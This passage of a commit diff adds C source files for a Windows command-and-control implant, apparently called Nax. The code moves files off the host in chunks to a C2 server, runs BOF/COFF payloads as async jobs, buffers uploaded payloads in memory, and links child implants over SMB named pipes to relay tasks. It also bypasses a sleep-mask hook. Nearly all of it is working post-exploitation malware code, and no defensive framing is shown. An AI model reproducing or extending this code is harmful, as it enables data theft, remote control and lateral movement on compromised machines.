fname = path_buf + i + 1;
UINT32 fname_len = NaxStrLen( fname );
/* Generate random fileId */
UINT32 fileId = 0;
Nax->Bcrypt.BCryptGenRandom( NULL, (PBYTE)&fileId, 4, BCRYPT_USE_SYSTEM_PREFERRED_RNG );
/* Allocate download node */
NAX_DOWNLOAD* dl = (NAX_DOWNLOAD*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, sizeof( NAX_DOWNLOAD ) );
if ( !dl ) {
Nax->Kernel32.CloseHandle( hFile );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf );
return NAX_ERR_NOMEM;
}
dl->TaskId = taskId;
dl->FileId = fileId;
dl->hFile = hFile;
dl->FileSize = fsize;
dl->Index = 0;
dl->ChunkSize = dlChunkSize;
dl->Next = Nax->DownloadHead;
Nax->DownloadHead = dl;
/* Build START result: [sub(1)][fileId(4LE)][fileSize(4LE)][fname_len(4LE)][fname] */
UINT32 result_sz = 1u + 4u + 4u + 4u + fname_len;
if ( result_sz > *out_len ) {
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf );
return NAX_ERR_NOMEM;
}
PBYTE p = out;
*p++ = NAX_DL_START;
NaxW32( p, fileId ); p += 4;
NaxW32( p, fsize ); p += 4;
NaxW32( p, fname_len ); p += 4;
if ( fname_len ) { MmCopy( p, fname, fname_len ); p += fname_len; }
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf );
*out_len = result_sz;
return NAX_OK;
}
+88
View File
@@ -0,0 +1,88 @@
/* beacon/src/Commands/Downloader.c
* Per-heartbeat download chunk relay.
*
* NaxProcessDownloads() is called from the heartbeat relay phase (after task
* dispatch, alongside pivots/jobs/tunnels). For each active NAX_DOWNLOAD it
* reads one NAX_DL_CHUNK_SIZE chunk and packs a result entry.
*
* Output buffer format (packed entries, parsed by HttpRelayDownloads):
* [taskId(4LE)][dataLen(4LE)][data(n)] repeated
*
* data for CONTINUE:
* [NAX_DL_CONTINUE(1)][fileId(4LE)][chunk_bytes]
*
* data for FINISH:
* [NAX_DL_FINISH(1)][fileId(4LE)] */
#include "Nax.h"
FUNC UINT32 NaxProcessDownloads( PNAX_INSTANCE Nax, PBYTE out, UINT32 out_cap ) {
UINT32 off = 0;
NAX_DOWNLOAD* dl = Nax->DownloadHead;
NAX_DOWNLOAD** prev = &Nax->DownloadHead;
while ( dl ) {
NAX_DOWNLOAD* next = dl->Next;
/* ---- read one chunk ---- */
UINT32 chunkSz = dl->ChunkSize ? dl->ChunkSize : Nax->Config.DlChunkSize;
if ( chunkSz == 0 || chunkSz > NAX_DL_CHUNK_MAX )
chunkSz = NAX_DL_CHUNK_DEFAULT;
UINT32 want = chunkSz;
if ( dl->Index + want > dl->FileSize )
want = dl->FileSize - dl->Index;
/* space check: header(8) + sub(1) + fileId(4) + data(want) */
UINT32 entry_sz = 8 + 1 + 4 + want;
if ( off + entry_sz > out_cap ) {
prev = &dl->Next;
dl = next;
continue;
}
DWORD nread = 0;
BOOL ok = TRUE;
if ( want > 0 )
ok = Nax->Kernel32.ReadFile( dl->hFile, out + off + 8 + 1 + 4, want, &nread, NULL );
if ( !ok || ( want > 0 && nread == 0 ) ) {
/* read error - finish with what we have */
Nax->Kernel32.CloseHandle( dl->hFile );
*prev = next;
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dl );
dl = next;
continue;
}
/* pack CONTINUE entry */
UINT32 data_len = 1 + 4 + nread;
NaxW32( out + off, dl->TaskId ); off += 4;
NaxW32( out + off, data_len ); off += 4;
out[ off++ ] = NAX_DL_CONTINUE;
NaxW32( out + off, dl->FileId ); off += 4;
off += nread; /* data already in place from ReadFile */
dl->Index += nread;
/* check if download is complete */
if ( dl->Index >= dl->FileSize ) {
/* space check for FINISH entry: header(8) + sub(1) + fileId(4) = 13 */
if ( off + 13 <= out_cap ) {
NaxW32( out + off, dl->TaskId ); off += 4;
NaxW32( out + off, 5 ); off += 4; /* data_len = 1 + 4 */
out[ off++ ] = NAX_DL_FINISH;
NaxW32( out + off, dl->FileId ); off += 4;
}
Nax->Kernel32.CloseHandle( dl->hFile );
*prev = next;
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dl );
dl = next;
continue;
}
prev = &dl->Next;
dl = next;
}
return off;
}
+328
View File
@@ -0,0 +1,328 @@
/* beacon/src/Commands/Jobs.c
* Async BOF job manager - create, start, process, kill, list. */
#include "Nax.h"
#include "Common.h"
#include "Bof.h"
#include "Jobs.h"
/* ========= [ helpers ] ========= */
static VOID JobFreeMedia( PNAX_INSTANCE Nax, NAX_BOF_MEDIA* head ) {
while ( head ) {
NAX_BOF_MEDIA* next = head->Next;
if ( head->Data ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, head->Data );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, head );
head = next;
}
}
static NAX_BOF_MEDIA* JobReverseMedia( NAX_BOF_MEDIA* head ) {
NAX_BOF_MEDIA* prev = NULL;
while ( head ) {
NAX_BOF_MEDIA* next = head->Next;
head->Next = prev;
prev = head;
head = next;
}
return prev;
}
static UINT32 JobPackOutput( PNAX_INSTANCE Nax, NAX_BOF_CTX* ctx, PBYTE out, UINT32 out_cap, BOOL includeStompHdr ) {
UINT32 off = 0;
BOOL has_text = ( ctx->Len > 0 );
BOOL has_media = ( ctx->MediaHead != NULL );
/* Prepend 2-byte stomp metadata on final drain */
if ( includeStompHdr && off + 2 <= out_cap ) {
out[ off++ ] = ctx->Stomped;
out[ off++ ] = ctx->StompSlot;
}
if ( has_media ) {
ctx->MediaHead = JobReverseMedia( ctx->MediaHead );
for ( NAX_BOF_MEDIA* m = ctx->MediaHead; m; m = m->Next ) {
if ( off + m->Len <= out_cap ) {
MmCopy( out + off, m->Data, m->Len );
off += m->Len;
}
}
JobFreeMedia( Nax, ctx->MediaHead );
ctx->MediaHead = NULL;
}
if ( has_text && has_media ) {
if ( off + 5u + ctx->Len <= out_cap ) {
out[ off ] = 0x00;
NaxW32( out + off + 1, ctx->Len );
MmCopy( out + off + 5, ctx->Buf, ctx->Len );
off += 5u + ctx->Len;
}
} else if ( has_text ) {
UINT32 copy = ( ctx->Len < out_cap - off ) ? ctx->Len : out_cap - off;
MmCopy( out + off, ctx->Buf, copy );
off += copy;
}
ctx->Len = 0;
return off;
}
/* ========= [ create ] ========= */
FUNC NAX_JOB* NaxJobCreate( PNAX_INSTANCE Nax, UINT32 taskId,
PBYTE coffBuf, UINT32 coffSize,
PBYTE argsBuf, UINT32 argsSize,
DWORD timeoutMs ) {
NAX_JOB* job = (NAX_JOB*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, sizeof( NAX_JOB ) );
if ( !job ) return NULL;
MmZero( job, sizeof( NAX_JOB ) );
job->Nax = Nax;
job->TaskId = taskId;
job->State = NAX_JOB_PENDING;
job->TimeoutMs = timeoutMs ? timeoutMs : JOB_DEFAULT_TIMEOUT_MS;
job->CoffCopy = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, coffSize );
if ( !job->CoffCopy ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job ); return NULL; }
MmCopy( job->CoffCopy, coffBuf, coffSize );
job->CoffSize = coffSize;
if ( argsSize > 0 && argsBuf ) {
job->ArgsCopy = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, argsSize );
if ( !job->ArgsCopy ) {
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job->CoffCopy );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job );
return NULL;
}
MmCopy( job->ArgsCopy, argsBuf, argsSize );
job->ArgsSize = argsSize;
}
job->BofCtx.Buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, BOF_OUTPUT_CAP );
if ( !job->BofCtx.Buf ) {
if ( job->ArgsCopy ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job->ArgsCopy );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job->CoffCopy );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job );
return NULL;
}
job->BofCtx.Len = 0;
job->BofCtx.Cap = BOF_OUTPUT_CAP;
Nax->Ntdll.RtlInitializeCriticalSection( &job->Lock );
job->hStopEvent = Nax->Kernel32.CreateEventA( NULL, TRUE, FALSE, NULL );
job->Next = Nax->JobHead;
Nax->JobHead = job;
return job;
}
/* ========= [ thread proc ] ========= */
static VOID CALLBACK NaxJobThreadProc( PTP_CALLBACK_INSTANCE Inst, PVOID Context, PTP_WORK Work ) {
(void)Inst; (void)Work;
NAX_JOB* job = (NAX_JOB*)Context;
/* propagate NAX_INSTANCE to this thread's TEB so G_INSTANCE works */
PNAX_INSTANCE Nax = job->Nax;
NaxCurrentTeb()->NtTib.ArbitraryUserPointer = (PVOID)Nax;
Nax->Kernel32.DuplicateHandle( Nax->Kernel32.GetCurrentProcess(), Nax->Kernel32.GetCurrentThread(),
Nax->Kernel32.GetCurrentProcess(), &job->hThread, 0, FALSE, DUPLICATE_SAME_ACCESS );
Nax->CurrentJob = job;
/* swap BofCtx to per-job buffer so BOF output goes to the job's own accumulator */
Nax->Ntdll.RtlEnterCriticalSection( &job->Lock );
job->SavedBofCtx = Nax->BofCtx;
Nax->BofCtx = job->BofCtx;
Nax->Ntdll.RtlLeaveCriticalSection( &job->Lock );
NaxBofExecute( Nax, job->CoffCopy, job->CoffSize, job->ArgsCopy, job->ArgsSize );
/* watchdog may have abandoned us - don't touch shared state, just return to pool */
if ( job->Abandoned )
return;
/* collect output back into job */
Nax->Ntdll.RtlEnterCriticalSection( &job->Lock );
job->BofCtx = Nax->BofCtx;
Nax->BofCtx = job->SavedBofCtx;
Nax->Ntdll.RtlLeaveCriticalSection( &job->Lock );
/* zero+free COFF copy */
MmZero( job->CoffCopy, job->CoffSize );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job->CoffCopy );
job->CoffCopy = NULL;
if ( job->ArgsCopy ) {
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job->ArgsCopy );
job->ArgsCopy = NULL;
}
job->State = NAX_JOB_FINISHED;
Nax->CurrentJob = NULL;
Nax->Kernel32.SetEvent( Nax->JobWakeEvent );
}
/* ========= [ start ] ========= */
FUNC INT NaxJobStart( PNAX_INSTANCE Nax, NAX_JOB* job ) {
PTP_WORK work = NULL;
NTSTATUS st = Nax->Ntdll.TpAllocWork( &work, (PTP_WORK_CALLBACK)NaxJobThreadProc, job, NULL );
if ( !NT_SUCCESS( st ) || !work ) {
NaxDbg( Nax, "[job] TpAllocWork failed: 0x%08x", st );
return NAX_ERR_FAIL;
}
job->State = NAX_JOB_RUNNING;
job->StartTick = Nax->Kernel32.GetTickCount64();
Nax->Ntdll.TpPostWork( work );
Nax->Ntdll.TpReleaseWork( work );
NaxDbg( Nax, "[job] started taskId=0x%08x timeout=%ums", job->TaskId, job->TimeoutMs );
return NAX_OK;
}
/* ========= [ kill ] ========= */
FUNC INT NaxJobKill( PNAX_INSTANCE Nax, UINT32 taskId ) {
NAX_JOB* job = Nax->JobHead;
while ( job ) {
if ( job->TaskId == taskId && ( job->State == NAX_JOB_RUNNING || job->State == NAX_JOB_PENDING ) )
break;
job = job->Next;
}
if ( !job ) return NAX_ERR_INVAL;
Nax->Kernel32.SetEvent( job->hStopEvent );
if ( job->hThread ) {
DWORD w = Nax->Kernel32.WaitForSingleObject( job->hThread, JOB_GRACE_PERIOD_MS );
if ( w != WAIT_OBJECT_0 ) {
/* Thread is stuck. TerminateThread on a pool worker corrupts ntdll's
* thread pool and crashes the process - abandon the thread instead.
* The leaked resources are a few KB; a dead beacon is worse. */
job->Abandoned = TRUE;
/* Nax->BofCtx may still point to the job's buffer (swap-back never ran).
* Snapshot partial output and restore the main-thread context. */
if ( Nax->BofCtx.Buf == job->BofCtx.Buf ) {
job->BofCtx.Len = Nax->BofCtx.Len;
job->BofCtx.MediaHead = Nax->BofCtx.MediaHead;
}
Nax->BofCtx = job->SavedBofCtx;
Nax->CurrentJob = NULL;
NaxDbg( Nax, "[job] abandoned taskId=0x%08x (thread still alive)", taskId );
}
}
job->State = NAX_JOB_KILLED;
Nax->Kernel32.SetEvent( Nax->JobWakeEvent );
return NAX_OK;
}
/* ========= [ process - heartbeat drain ] ========= */
FUNC UINT32 NaxProcessJobs( PNAX_INSTANCE Nax, PBYTE out, UINT32 out_cap ) {
UINT32 written = 0;
NAX_JOB** pp = &Nax->JobHead;
Nax->Kernel32.ResetEvent( Nax->JobWakeEvent );
while ( *pp ) {
NAX_JOB* job = *pp;
/* ---- watchdog check ---- */
if ( job->State == NAX_JOB_RUNNING ) {
UINT64 elapsed = Nax->Kernel32.GetTickCount64() - job->StartTick;
if ( elapsed > (UINT64)job->TimeoutMs ) {
NaxDbg( Nax, "[job] watchdog timeout taskId=0x%08x (%ums)", job->TaskId, (UINT32)elapsed );
NaxJobKill( Nax, job->TaskId );
}
}
/* ---- drain output ---- */
if ( job->State == NAX_JOB_RUNNING ) {
if ( Nax->Ntdll.RtlTryEnterCriticalSection( &job->Lock ) ) {
if ( job->BofCtx.Len > 0 || job->BofCtx.MediaHead ) {
UINT32 hdr_off = written;
UINT32 data_off = written + 9;
if ( data_off < out_cap ) {
UINT32 data_len = JobPackOutput( Nax, &job->BofCtx, out + data_off, out_cap - data_off, FALSE );
if ( data_len > 0 ) {
out[ hdr_off ] = NAX_JOB_OUTPUT;
NaxW32( out + hdr_off + 1, job->TaskId );
NaxW32( out + hdr_off + 5, data_len );
written += 9 + data_len;
}
}
}
Nax->Ntdll.RtlLeaveCriticalSection( &job->Lock );
}
pp = &job->Next;
continue;
}
/* ---- finished or killed - final drain + cleanup ---- */
BYTE jobType = ( job->State == NAX_JOB_KILLED ) ? NAX_JOB_KILLED : NAX_JOB_COMPLETE;
Nax->Ntdll.RtlEnterCriticalSection( &job->Lock );
UINT32 hdr_off = written;
UINT32 data_off = written + 9;
UINT32 data_len = 0;
if ( data_off < out_cap )
data_len = JobPackOutput( Nax, &job->BofCtx, out + data_off, out_cap - data_off, TRUE );
Nax->Ntdll.RtlLeaveCriticalSection( &job->Lock );
out[ hdr_off ] = jobType;
NaxW32( out + hdr_off + 1, job->TaskId );
NaxW32( out + hdr_off + 5, data_len );
written += 9 + data_len;
/* unlink */
*pp = job->Next;
if ( job->Abandoned ) {
/* thread may still be alive - intentionally leak all resources */
NaxDbg( Nax, "[job] leaked abandoned taskId=0x%08x", job->TaskId );
} else {
if ( job->BofCtx.Buf ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job->BofCtx.Buf );
JobFreeMedia( Nax, job->BofCtx.MediaHead );
if ( job->CoffCopy ) {
MmZero( job->CoffCopy, job->CoffSize );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job->CoffCopy );
}
if ( job->ArgsCopy ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job->ArgsCopy );
if ( job->hThread ) Nax->Kernel32.CloseHandle( job->hThread );
if ( job->hStopEvent ) Nax->Ntdll.NtClose( job->hStopEvent );
Nax->Ntdll.RtlDeleteCriticalSection( &job->Lock );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job );
}
}
return written;
}
/* ========= [ list ] ========= */
FUNC INT NaxJobList( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) {
UINT32 count = 0;
PBYTE p = out + 4;
UINT32 cap = *out_len - 4;
NAX_JOB* job = Nax->JobHead;
while ( job && count * 9 < cap ) {
NaxW32( p, job->TaskId ); p += 4;
*p++ = (BYTE)job->State;
UINT32 elapsed = (UINT32)( ( Nax->Kernel32.GetTickCount64() - job->StartTick ) / 1000u );
NaxW32( p, elapsed ); p += 4;
count++;
job = job->Next;
}
NaxW32( out, count );
*out_len = 4 + count * 9;
return NAX_OK;
}
+86
View File
@@ -0,0 +1,86 @@
/* beacon/src/Commands/MemSave.c
* CMD_SAVEMEMORY (0x2A) - accumulate upload data chunks in memory.
*
* Task args wire format:
* memoryId(4LE) + totalSize(4LE) + chunkSize(4LE) + chunk_data
*
* First chunk allocates the buffer; subsequent chunks append.
* CMD_UPLOAD later retrieves the accumulated buffer by memoryId.
*
* Result: zero-length, status=OK (silent - no console output). */
#include "Nax.h"
FUNC INT NaxCmdSaveMemory( PNAX_INSTANCE Nax,
const PBYTE args,
UINT32 args_len,
PBYTE out,
UINT32* out_len ) {
if ( !args || args_len < 12 ) return NAX_ERR_INVAL;
UINT32 memoryId = NaxR32( args );
UINT32 totalSize = NaxR32( args + 4 );
UINT32 chunkSize = NaxR32( args + 8 );
if ( 12 + chunkSize > args_len ) return NAX_ERR_INVAL;
PBYTE chunkData = (PBYTE)args + 12;
/* Find or create MemSave node */
NAX_MEMSAVE* ms = Nax->MemSaveHead;
while ( ms ) {
if ( ms->MemoryId == memoryId ) break;
ms = ms->Next;
}
if ( !ms ) {
ms = (NAX_MEMSAVE*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, sizeof( NAX_MEMSAVE ) );
if ( !ms ) return NAX_ERR_NOMEM;
ms->Buffer = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, totalSize );
if ( !ms->Buffer ) {
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, ms );
return NAX_ERR_NOMEM;
}
ms->MemoryId = memoryId;
ms->TotalSize = totalSize;
ms->CurrentSize = 0;
ms->Next = Nax->MemSaveHead;
Nax->MemSaveHead = ms;
}
/* Append chunk data */
UINT32 space = ms->TotalSize - ms->CurrentSize;
UINT32 copy_len = ( chunkSize <= space ) ? chunkSize : space;
if ( copy_len > 0 ) {
MmCopy( ms->Buffer + ms->CurrentSize, chunkData, copy_len );
ms->CurrentSize += copy_len;
}
*out_len = 0;
return NAX_OK;
}
/* Retrieve accumulated buffer by memoryId. Returns NULL if not found. */
FUNC NAX_MEMSAVE* NaxMemSaveGet( PNAX_INSTANCE Nax, UINT32 memoryId ) {
NAX_MEMSAVE* ms = Nax->MemSaveHead;
while ( ms ) {
if ( ms->MemoryId == memoryId ) return ms;
ms = ms->Next;
}
return NULL;
}
/* Free a MemSave node and unlink it from the list. */
FUNC VOID NaxMemSaveFree( PNAX_INSTANCE Nax, UINT32 memoryId ) {
NAX_MEMSAVE** prev = &Nax->MemSaveHead;
NAX_MEMSAVE* ms = Nax->MemSaveHead;
while ( ms ) {
if ( ms->MemoryId == memoryId ) {
*prev = ms->Next;
if ( ms->Buffer )
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, ms->Buffer );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, ms );
return;
}
prev = &ms->Next;
ms = ms->Next;
}
}
+343
View File
@@ -0,0 +1,343 @@
/* beacon/src/Commands/Pivot.c
* Parent-side pivot manager: link/unlink/pivot_exec + ProcessPivots.
*
* NAX_CMD_LINK - connect to child's named pipe, read beat, store pivot
* NAX_CMD_UNLINK - disconnect a linked child
* NAX_CMD_PIVOT_EXEC- write data to child's pipe (tasks from C2)
* NaxProcessPivots - poll all pivot read events, collect child responses */
#include "Nax.h"
#include "Pivot.h"
#include "Transport.h"
#include "Pipe.h"
/* ========= [ post async header read ] ========= */
FUNC VOID NaxPostPivotHeaderRead( PNAX_INSTANCE Nax, NAX_PIVOT* p ) {
if ( p->Async->RdPending )
return;
p->Async->RdHeader = 0;
Nax->Kernel32.ResetEvent( p->Async->OvRead.hEvent );
DWORD nRead = 0;
BOOL ok = Nax->Kernel32.ReadFile( p->hPipe, &p->Async->RdHeader, 4, &nRead, &p->Async->OvRead );
if ( ok ) {
Nax->Kernel32.SetEvent( p->Async->OvRead.hEvent );
p->Async->RdPending = TRUE;
} else if ( Nax->Kernel32.GetLastError() == ERROR_IO_PENDING ) {
p->Async->RdPending = TRUE;
}
}
/* ========= [ CMD_LINK ] ========= */
FUNC INT CmdLink( PNAX_INSTANCE Nax, UINT32 taskId, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
if ( args_len < 6 )
return NAX_ERR_INVAL;
BYTE linkType = args[0];
UINT32 nameLen = *(UINT32*)( args + 1 );
if ( 5 + nameLen > args_len || nameLen > 512 )
return NAX_ERR_INVAL;
CHAR pipePath[520];
MmZero( pipePath, 520 );
MmCopy( pipePath, args + 5, nameLen );
/* connect to child's pipe */
HANDLE hPipe = Nax->Kernel32.CreateFileA( pipePath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL );
if ( hPipe == INVALID_HANDLE_VALUE ) {
*(UINT32*)out = Nax->Kernel32.GetLastError();
*out_len = 4;
return NAX_ERR_NET;
}
/* set message mode */
DWORD dwMode = PIPE_READMODE_MESSAGE;
Nax->Kernel32.SetNamedPipeHandleState( hPipe, &dwMode, NULL, NULL );
/* read beat from child: [4-byte len][beat data] */
HANDLE hTempEvent = Nax->Kernel32.CreateEventA( NULL, TRUE, FALSE, NULL );
if ( ! hTempEvent ) {
Nax->Kernel32.CloseHandle( hPipe );
return NAX_ERR_NOMEM;
}
UINT32 beatLen = 0;
if ( ! NaxPipeRead( Nax, hPipe, hTempEvent, (PBYTE)&beatLen, 4 ) || beatLen == 0 || beatLen > 0x100000 ) {
Nax->Ntdll.NtClose( hTempEvent );
Nax->Kernel32.CloseHandle( hPipe );
return NAX_ERR_NET;
}
PBYTE beatBuf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, beatLen );
if ( ! beatBuf ) {
Nax->Ntdll.NtClose( hTempEvent );
Nax->Kernel32.CloseHandle( hPipe );
return NAX_ERR_NOMEM;
}
if ( ! NaxPipeRead( Nax, hPipe, hTempEvent, beatBuf, beatLen ) ) {
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, beatBuf );
Nax->Ntdll.NtClose( hTempEvent );
Nax->Kernel32.CloseHandle( hPipe );
return NAX_ERR_NET;
}
Nax->Ntdll.NtClose( hTempEvent );
/* allocate async I/O state */
NAX_PIVOT_ASYNC* async = (NAX_PIVOT_ASYNC*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, sizeof( NAX_PIVOT_ASYNC ) );
if ( ! async ) {
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, beatBuf );
Nax->Kernel32.CloseHandle( hPipe );
return NAX_ERR_NOMEM;
}
MmZero( async, sizeof( NAX_PIVOT_ASYNC ) );
async->OvRead.hEvent = Nax->Kernel32.CreateEventA( NULL, TRUE, FALSE, NULL );
async->hWriteEvent = Nax->Kernel32.CreateEventA( NULL, TRUE, FALSE, NULL );
/* allocate pivot entry */
NAX_PIVOT* pivot = (NAX_PIVOT*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, sizeof( NAX_PIVOT ) );
if ( ! pivot ) {
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, async );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, beatBuf );
Nax->Kernel32.CloseHandle( hPipe );
return NAX_ERR_NOMEM;
}
MmZero( pivot, sizeof( NAX_PIVOT ) );
pivot->hPipe = hPipe;
pivot->Async = async;
pivot->Id = taskId;
pivot->Next = Nax->PivotHead;
Nax->PivotHead = pivot;
/* arm the first async header read */
NaxPostPivotHeaderRead( Nax, pivot );
/* result: linkType(1) | watermark(4LE) | sessionId(16) | encrypted_data */
if ( beatLen < 4 ) {
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, beatBuf );
return NAX_ERR_INVAL;
}
UINT32 resultLen = 1 + beatLen;
if ( resultLen > *out_len ) {
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, beatBuf );
return NAX_ERR_NOMEM;
}
out[0] = linkType;
MmCopy( out + 1, beatBuf, beatLen );
*out_len = resultLen;
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, beatBuf );
return NAX_OK;
}
/* ========= [ CMD_UNLINK ] ========= */
FUNC INT CmdUnlink( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
if ( args_len < 4 )
return NAX_ERR_INVAL;
UINT32 pivotId = *(UINT32*)args;
BYTE result = 0;
NAX_PIVOT** pp = &Nax->PivotHead;
while ( *pp ) {
NAX_PIVOT* p = *pp;
if ( p->Id == pivotId ) {
if ( p->Async->RdPending )
Nax->Kernel32.CancelIo( p->hPipe );
Nax->Kernel32.FlushFileBuffers( p->hPipe );
Nax->Kernel32.DisconnectNamedPipe( p->hPipe );
Nax->Kernel32.CloseHandle( p->hPipe );
if ( p->Async->OvRead.hEvent )
Nax->Ntdll.NtClose( p->Async->OvRead.hEvent );
if ( p->Async->hWriteEvent )
Nax->Ntdll.NtClose( p->Async->hWriteEvent );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, p->Async );
*pp = p->Next;
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, p );
result = 1; /* SMB type */
break;
}
pp = &p->Next;
}
/* result: pivot_id(4LE) | pivot_type(1) */
*(UINT32*)out = pivotId;
out[4] = result;
*out_len = 5;
return NAX_OK;
}
/* ========= [ CMD_PIVOT_EXEC ] ========= */
FUNC INT CmdPivotExec( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
if ( args_len < 8 )
return NAX_ERR_INVAL;
UINT32 pivotId = *(UINT32*)( args );
UINT32 dataLen = *(UINT32*)( args + 4 );
if ( 8 + dataLen > args_len )
return NAX_ERR_INVAL;
/* server sends empty pivot data when child has no tasks - skip the write
* so we don't push a 0-length header that kills the child's pipe loop */
if ( dataLen == 0 ) {
*out_len = 0;
return NAX_OK;
}
PBYTE data = (PBYTE)( args + 8 );
NAX_PIVOT* p = Nax->PivotHead;
while ( p ) {
if ( p->Id == pivotId ) {
NaxPipeWrite( Nax, p->hPipe, p->Async->hWriteEvent, data, dataLen );
p->Async->DataSent = TRUE;
break;
}
p = p->Next;
}
*out_len = 0;
return NAX_OK;
}
/* ========= [ ProcessPivots - collect child responses ] ========= */
/* Output format: concatenated entries, each: entry_len(4LE) | type(1) | body
* type 0 = pivot data: pivot_id(4) | data_len(4) | data
* type 1 = auto-unlink: pivot_id(4) | disconnect_type(1)
* Caller iterates entries and sends each as a separate result POST. */
FUNC UINT32 NaxProcessPivots( PNAX_INSTANCE Nax, PBYTE out, UINT32 out_cap ) {
UINT32 written = 0;
NAX_PIVOT** pp = &Nax->PivotHead;
/* Bypass BeaconGate for pivot waits - the gated WaitForSingleObject
* routes through sleep_mask. Pivot waits are short synchronous polls
* for child pipe data, not beacon sleep - they must not route through
* the sleepmask. */
typedef DWORD (WINAPI *FN_WFSO)( HANDLE, DWORD );
FN_WFSO realWfso = (FN_WFSO)Nax->Kernel32.WaitForSingleObject;
for ( UINT32 i = 0; i < Nax->GateSwaps.Count; i++ ) {
if ( Nax->GateSwaps.Entries[i].Slot == (PVOID*)&Nax->Kernel32.WaitForSingleObject ) {
realWfso = (FN_WFSO)Nax->GateSwaps.Entries[i].Original;
break;
}
}
while ( *pp ) {
NAX_PIVOT* p = *pp;
BOOL broken = FALSE;
NaxPostPivotHeaderRead( Nax, p );
if ( ! p->Async->RdPending ) {
broken = TRUE;
goto _cleanup;
}
/* Wait synchronously so child responses are collected in the
* same relay cycle before the output goes out. 2 s covers slow
* BOFs (whoami enumerating groups/privileges via LookupAccountSid)
* and multi-hop SMB chains where the intermediary must wait for
* grandchildren before relaying results to the parent. */
DWORD waitMs = 0;
UINT64 deadline = 0;
if ( p->Async->DataSent ) {
waitMs = 2000;
deadline = Nax->Kernel32.GetTickCount64() + 2000;
NaxDbg( Nax, "[pivot] DataSent=1 for pivot %08x, waitMs=%u", p->Id, waitMs );
}
p->Async->DataSent = FALSE;
/* collect available messages */
UINT32 msgCount = 0;
while ( 1 ) {
DWORD w = realWfso( p->Async->OvRead.hEvent, waitMs );
if ( w == WAIT_TIMEOUT ) {
NaxDbg( Nax, "[pivot] wait timeout after %u msgs (waitMs=%u)", msgCount, waitMs );
break;
}
if ( w != WAIT_OBJECT_0 ) { broken = TRUE; break; }
DWORD nRead = 0;
if ( ! Nax->Kernel32.GetOverlappedResult( p->hPipe, &p->Async->OvRead, &nRead, FALSE ) ) {
if ( Nax->Kernel32.GetLastError() == ERROR_IO_INCOMPLETE )
break;
broken = TRUE;
break;
}
p->Async->RdPending = FALSE;
UINT32 msgLen = p->Async->RdHeader;
if ( msgLen == 0 || msgLen > 0x1000000 ) { broken = TRUE; break; }
/* read message body */
PBYTE msgBuf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, msgLen );
if ( ! msgBuf ) { broken = TRUE; break; }
HANDLE hEvt = p->Async->OvRead.hEvent;
if ( ! NaxPipeRead( Nax, p->hPipe, hEvt, msgBuf, msgLen ) ) {
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, msgBuf );
broken = TRUE;
break;
}
msgCount++;
NaxDbg( Nax, "[pivot] read msg #%u from pivot %08x (%u bytes)", msgCount, p->Id, msgLen );
/* entry: entry_len(4) | type(1)=DATA | pivot_id(4) | data_len(4) | data */
UINT32 entryBody = 1 + 4 + 4 + msgLen;
if ( written + 4 + entryBody <= out_cap ) {
PBYTE cur = out + written;
*(UINT32*)cur = entryBody;
cur[4] = NAX_PIV_TYPE_DATA;
*(UINT32*)( cur + 5 ) = p->Id;
*(UINT32*)( cur + 9 ) = msgLen;
MmCopy( cur + 13, msgBuf, msgLen );
written += 4 + entryBody;
}
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, msgBuf );
/* Recompute wait from remaining budget so stale heartbeats
* in the pipe don't starve deeper relay chains. */
if ( deadline ) {
UINT64 now = Nax->Kernel32.GetTickCount64();
